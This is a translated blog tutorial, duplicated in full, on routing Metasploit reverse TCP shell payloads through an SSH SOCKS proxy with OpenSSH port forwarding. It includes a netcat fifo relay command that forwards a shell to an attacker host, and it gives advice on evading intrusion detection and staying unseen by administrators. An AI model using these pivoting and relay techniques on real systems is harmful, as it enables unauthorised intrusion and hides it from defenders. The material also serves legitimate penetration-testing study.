Using ssh socks proxy with MSF Reverse TCP Payloads
This free translation was motivated by the need for the subject’s own understanding of the subject after reading a number of posts that were initiated here , thanks to habrayuzer levinkv
Using ssh socks proxy with MSF Reverse TCP Payloads
Sometimes pentesters need to redirect their network traffic through different proxies to gain access to private networks, to bypass firewalls, or to hide their traces. To solve such problems, experts have a whole arsenal of heterogeneous tunneling and traffic redirection capabilities to work in various network architectures during testing. Each case of such work definitely depends on the services running on the proxy server and the level of access to these services.
One of my favorite cases (like many others) is working with the OpenSSH Socks proxy . Remote ssh proxy allows you to redirect traffic through ssh tunnel in various ways. However, there is a major flaw in the case of socks proxies — you “cannot” use the existing reverse tcp payloads that come with the Metasploit framework (and many other similar tools). However, this is not quite the case . It is possible to enable some of the OpenSSH features in order to bypass restrictions when using ssh redirection.
')
Many will say that there are plenty of alternatives for tcp reverse payloads, such as PHP, Java, HTTP, DNS, etc. This is true, but most of them depend on a specific application and are not stable under certain circumstances. In addition, these alternatives are not always applicable due to some limitations of operation.
Others will report that Metasploit meterpreter functions (framework routes + port forward ) can be used to redirect traffic through regular proxies, avoiding the use of socks. The disadvantage of this method is the insufficient stability of meterpreter payload for Linux proxies (at least at the time of writing the post).
Now that you have verified that under certain circumstances, using socks proxies is the only stable option, let's see what we can change in the limitations of a reverse TCP connection.
When using reverse tcp payload, the victim's computer tries to connect to the attacker's ip address. If the SSH Socks proxy is used, then the victim's computer uses the proxy's IP address as the ip address of the attacker. Consequently, reverse TCP payload will try to connect to the proxy, and not to the attacker. Metasploit framework perfectly solves this problem when socks proxy is used with reverse TCP payload.
The basic idea for bypassing restrictions of this kind is to use a forwarding mechanism in a proxy to deliver packets to the correct address when connecting back to the proxy. The presented method is possible when the following conditions are met:
1. Possibility of ssh connection to a proxy (ordinary user or administrator, each case is dealt with separately)
2. The proxy has at least one unused open port.
3. The proxy has the ability to connect with the victim's computer.
For the rest of this article, the following network topology will be used:
First, establish a ssh socks proxy connection and check it through proxychains :
SSH socks proxy works and we can use it to access the victim's computer:
Now, if we try to use our Socks proxy along with TCP payload, Metasploit might show this error:
Features port forwarding in OpenSSH will help us get around this obstacle. Two options will be covered depending on the level of access of the attacker to the proxy services:
1. Administrative access: OpenSSH configuration changes and use of all forwarding features
2. User Access: Using OpenSSH local port loading for the organization of a second ssh tunnel
For those who are not familiar with the local and remote redirection of SSH ports are recommended to read the links at the end of the post.
Before proceeding, let's turn off the check for reverse TCP socks proxy in metasploit to test all the cases listed. Fortunately for us, the modular architecture of metasploit makes it easy to implement this feature. You just need to comment out lines 68-70 in “lib / msf / core / handler / reverse_tcp.rb”
1. Administrative access to Proxy
Remote port forwarding in OpenSSH uses network traffic redirection from port 4444 to the proxy to port 53 of the attacker. As the OpenSSH manual mentions, connecting when remotely redirecting will connect the proxy port (4444 in our case) with the same port on the local host. The binding on the local host will block incoming connections from the victim. So we must have administrator rights to change the sshd configuration and enable the GatewayPorts option.
When payload works, then the network will look like this:
To continue, let's check that everything works with netcat:
If you use a local address instead of the attacker's IP address, then such a tunnel will work like a clock (and this is not surprising), although the Metasploit session manager will not be able to identify the connections and interrupt work. Some (optional) studies using tcpdump can clarify how such redirects work.
After ensuring that our proxy is working correctly, let's move on to Metasploit. Generate a linux x86 reverse TCP stagged shell payload and upload it to the victim’s computer. To start payload we use a PHP script, placing it in the directory with Web pages for the Apache server. In the process of generating payload, the following data was used: LHOST was defined as a proxy address, like LPORT (4444 in this example), which is redirected to the attacker through a proxy.
At the end, let's start payload using an additional module (single GET request) and establish a connection through socks proxy:
2. User Proxy Access
User access to the proxy means that we cannot set the GatewayPorts option in the sshd settings. So we have to find another way to redirect. In this case, we use the option for local forwarding (-L) and create a second tunnel to the localhost from the proxy. The -g flag is used to bind a socket to 0.0.0.0, allowing incoming connections except locale.
Therefore, the reverse connection will take the following form:
A simple netcat check before using Metasploit:
And finally, socks proxy also successfully works with reverse TCP payloads:
Mission completed! We managed to use reverse TCP payloads with ssh Socks proxy and use various OpenSSH functions. Of course, someone can redirect ports to proxies in various other ways (iptables, third-party tools, etc.). OpenSSH was chosen because it already has access to the ssh Socks proxy and is often invisible to the system administrator, while other tools can signal their work (and of course, working with iptables is not possible with user access levels) .
It would be ideal if the methods described above were somehow implemented in the Metasploit Framework, making it possible to use reverse TCP payloads in various socks proxy scenarios.
References:
www.linuxhorizon.ro/ssh-tunnel.html
www.opennet.ru/base/sec/ssh_tunnel.txt.html
www.fedora.md/wiki/%D0%92%D1%81%D0%B5_%D1%87%D1%82%D0%BE_%D0%92%D1%8B_%D1%85%D0BB%D1 % 82% D0% B5% D0% BB% D0% B8_% D0% B7% D0% BD% D0% B0% D1% 82% D1% 8C_% D0% BE_SSH
www.metasploit.com
seclists.org/metasploit/2009/q2/143
www.offensive-security.com/metasploit-unleashed/Metasploit_Meterpreter_Basics
www.offensive-security.com/metasploit-unleashed/Pivoting
A. Bechtsoudis
- {Update 11 June 2012} -
Port forwarding from a proxy to an attacker can also be easily organized using netcat. Be careful when using netcat, as its operation can be alarming in some intrusion detection systems. To establish a hidden connection, try to create encrypted channels with a proxy (ncat, netcat stunnel, etc.).
root @ proxy: ~ # mkfifo pipe
root @ proxy: ~ # nc -nvlp 4444 0 <pipe | nc attacker 53 1> pipe
Original link .
Using ssh socks proxy with MSF Reverse TCP Payloads
Sometimes pentesters need to redirect their network traffic through different proxies to gain access to private networks, to bypass firewalls, or to hide their traces. To solve such problems, experts have a whole arsenal of heterogeneous tunneling and traffic redirection capabilities to work in various network architectures during testing. Each case of such work definitely depends on the services running on the proxy server and the level of access to these services.
One of my favorite cases (like many others) is working with the OpenSSH Socks proxy . Remote ssh proxy allows you to redirect traffic through ssh tunnel in various ways. However, there is a major flaw in the case of socks proxies — you “cannot” use the existing reverse tcp payloads that come with the Metasploit framework (and many other similar tools). However, this is not quite the case . It is possible to enable some of the OpenSSH features in order to bypass restrictions when using ssh redirection.
')
Many will say that there are plenty of alternatives for tcp reverse payloads, such as PHP, Java, HTTP, DNS, etc. This is true, but most of them depend on a specific application and are not stable under certain circumstances. In addition, these alternatives are not always applicable due to some limitations of operation.
Others will report that Metasploit meterpreter functions (framework routes + port forward ) can be used to redirect traffic through regular proxies, avoiding the use of socks. The disadvantage of this method is the insufficient stability of meterpreter payload for Linux proxies (at least at the time of writing the post).
Now that you have verified that under certain circumstances, using socks proxies is the only stable option, let's see what we can change in the limitations of a reverse TCP connection.
When using reverse tcp payload, the victim's computer tries to connect to the attacker's ip address. If the SSH Socks proxy is used, then the victim's computer uses the proxy's IP address as the ip address of the attacker. Consequently, reverse TCP payload will try to connect to the proxy, and not to the attacker. Metasploit framework perfectly solves this problem when socks proxy is used with reverse TCP payload.
The basic idea for bypassing restrictions of this kind is to use a forwarding mechanism in a proxy to deliver packets to the correct address when connecting back to the proxy. The presented method is possible when the following conditions are met:
1. Possibility of ssh connection to a proxy (ordinary user or administrator, each case is dealt with separately)
2. The proxy has at least one unused open port.
3. The proxy has the ability to connect with the victim's computer.
For the rest of this article, the following network topology will be used:
First, establish a ssh socks proxy connection and check it through proxychains :
SSH socks proxy works and we can use it to access the victim's computer:
Now, if we try to use our Socks proxy along with TCP payload, Metasploit might show this error:
Features port forwarding in OpenSSH will help us get around this obstacle. Two options will be covered depending on the level of access of the attacker to the proxy services:
1. Administrative access: OpenSSH configuration changes and use of all forwarding features
2. User Access: Using OpenSSH local port loading for the organization of a second ssh tunnel
For those who are not familiar with the local and remote redirection of SSH ports are recommended to read the links at the end of the post.
Before proceeding, let's turn off the check for reverse TCP socks proxy in metasploit to test all the cases listed. Fortunately for us, the modular architecture of metasploit makes it easy to implement this feature. You just need to comment out lines 68-70 in “lib / msf / core / handler / reverse_tcp.rb”
1. Administrative access to Proxy
Remote port forwarding in OpenSSH uses network traffic redirection from port 4444 to the proxy to port 53 of the attacker. As the OpenSSH manual mentions, connecting when remotely redirecting will connect the proxy port (4444 in our case) with the same port on the local host. The binding on the local host will block incoming connections from the victim. So we must have administrator rights to change the sshd configuration and enable the GatewayPorts option.
When payload works, then the network will look like this:
To continue, let's check that everything works with netcat:
If you use a local address instead of the attacker's IP address, then such a tunnel will work like a clock (and this is not surprising), although the Metasploit session manager will not be able to identify the connections and interrupt work. Some (optional) studies using tcpdump can clarify how such redirects work.
After ensuring that our proxy is working correctly, let's move on to Metasploit. Generate a linux x86 reverse TCP stagged shell payload and upload it to the victim’s computer. To start payload we use a PHP script, placing it in the directory with Web pages for the Apache server. In the process of generating payload, the following data was used: LHOST was defined as a proxy address, like LPORT (4444 in this example), which is redirected to the attacker through a proxy.
At the end, let's start payload using an additional module (single GET request) and establish a connection through socks proxy:
2. User Proxy Access
User access to the proxy means that we cannot set the GatewayPorts option in the sshd settings. So we have to find another way to redirect. In this case, we use the option for local forwarding (-L) and create a second tunnel to the localhost from the proxy. The -g flag is used to bind a socket to 0.0.0.0, allowing incoming connections except locale.
Therefore, the reverse connection will take the following form:
A simple netcat check before using Metasploit:
And finally, socks proxy also successfully works with reverse TCP payloads:
Mission completed! We managed to use reverse TCP payloads with ssh Socks proxy and use various OpenSSH functions. Of course, someone can redirect ports to proxies in various other ways (iptables, third-party tools, etc.). OpenSSH was chosen because it already has access to the ssh Socks proxy and is often invisible to the system administrator, while other tools can signal their work (and of course, working with iptables is not possible with user access levels) .
It would be ideal if the methods described above were somehow implemented in the Metasploit Framework, making it possible to use reverse TCP payloads in various socks proxy scenarios.
References:
www.linuxhorizon.ro/ssh-tunnel.html
www.opennet.ru/base/sec/ssh_tunnel.txt.html
www.fedora.md/wiki/%D0%92%D1%81%D0%B5_%D1%87%D1%82%D0%BE_%D0%92%D1%8B_%D1%85%D0BB%D1 % 82% D0% B5% D0% BB% D0% B8_% D0% B7% D0% BD% D0% B0% D1% 82% D1% 8C_% D0% BE_SSH
www.metasploit.com
seclists.org/metasploit/2009/q2/143
www.offensive-security.com/metasploit-unleashed/Metasploit_Meterpreter_Basics
www.offensive-security.com/metasploit-unleashed/Pivoting
A. Bechtsoudis
- {Update 11 June 2012} -
Port forwarding from a proxy to an attacker can also be easily organized using netcat. Be careful when using netcat, as its operation can be alarming in some intrusion detection systems. To establish a hidden connection, try to create encrypted channels with a proxy (ncat, netcat stunnel, etc.).
root @ proxy: ~ # mkfifo pipe
root @ proxy: ~ # nc -nvlp 4444 0 <pipe | nc attacker 53 1> pipe
Original link .
Source: https://habr.com/ru/post/167893/
All Articles